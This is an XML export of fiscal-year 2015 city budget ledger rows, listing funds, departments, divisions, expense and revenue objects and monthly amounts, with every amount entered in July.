<row _id="16354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>21282.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21282.0</total></row>
<row _id="16355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>30708.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30708.0</total></row>
<row _id="16356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8693.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8693.0</total></row>
<row _id="16357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2579.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2579.0</total></row>
<row _id="16358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561147.0</object><object_description>ST. JOE HPSHP - HUD</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>21672.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21672.0</total></row>
<row _id="16359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>221124.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>221124.0</total></row>
<row _id="16360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>29248.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29248.0</total></row>
<row _id="16361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-19539.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19539.0</total></row>
<row _id="16362"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-13577.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13577.0</total></row>
<row _id="16363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407611.0</object><object_description>CITY WI-FI ADVERTISING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4000.0</total></row>
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<row _id="16367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>22046.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22046.0</total></row>
<row _id="16368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-42864.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-42864.0</total></row>
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<row _id="16370"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>533670.0</object><object_description>IMAGING COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1300.0</total></row>
<row _id="16373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403721.0</object><object_description>SERIAL INEBRIATE GRANT LEASING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405680.0</object><object_description>EVENT ADMINISTRATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-16000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16000.0</total></row>
<row _id="16375"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563126.0</object><object_description>WISE CONGREGATE MEALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>236000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>236000.0</total></row>
<row _id="16376"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1434.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1434.0</total></row>
<row _id="16377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>990.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>990.0</total></row>
<row _id="16378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="16379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403720.0</object><object_description>SERIAL INEBRIATE GRANT ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562431.0</object><object_description>SHP-NEW DIRECTIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>44605.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44605.0</total></row>
<row _id="16381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562433.0</object><object_description>SHP-STEP UP</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>87765.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>87765.0</total></row>
<row _id="16382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569223.0</object><object_description>MORGAN-WIXSON THEATRE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9000.0</total></row>
<row _id="16383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>135001.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>135001.0</total></row>
<row _id="16384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>369574.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>369574.0</total></row>
<row _id="16385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567220.0</object><object_description>PFA 2011A (PKG ST 6)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2666531.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2666531.0</total></row>
<row _id="16386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401231.0</object><object_description>URBAN MASTER PLAN COPIES</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>43451.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43451.0</total></row>
<row _id="16388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401980.0</object><object_description>CUPA PENALTY FEES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3206.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3206.0</total></row>
<row _id="16390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>417.0</total></row>
<row _id="16391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>88789.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88789.0</total></row>
<row _id="16393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2671.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2671.0</total></row>
<row _id="16394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>360.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>360.0</total></row>
<row _id="16395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-14144.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14144.0</total></row>
<row _id="16396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>576521.0</object><object_description>9-1-1 VOICE LOGGERS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>85481.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85481.0</total></row>
<row _id="16397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="16398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6279.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6279.0</total></row>
<row _id="16399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>21500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21500.0</total></row>
<row _id="16400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="16401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="16402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4996.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4996.0</total></row>
<row _id="16403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>441.0</total></row>
<row _id="16404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-43761.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-43761.0</total></row>
<row _id="16405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-32019.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-32019.0</total></row>
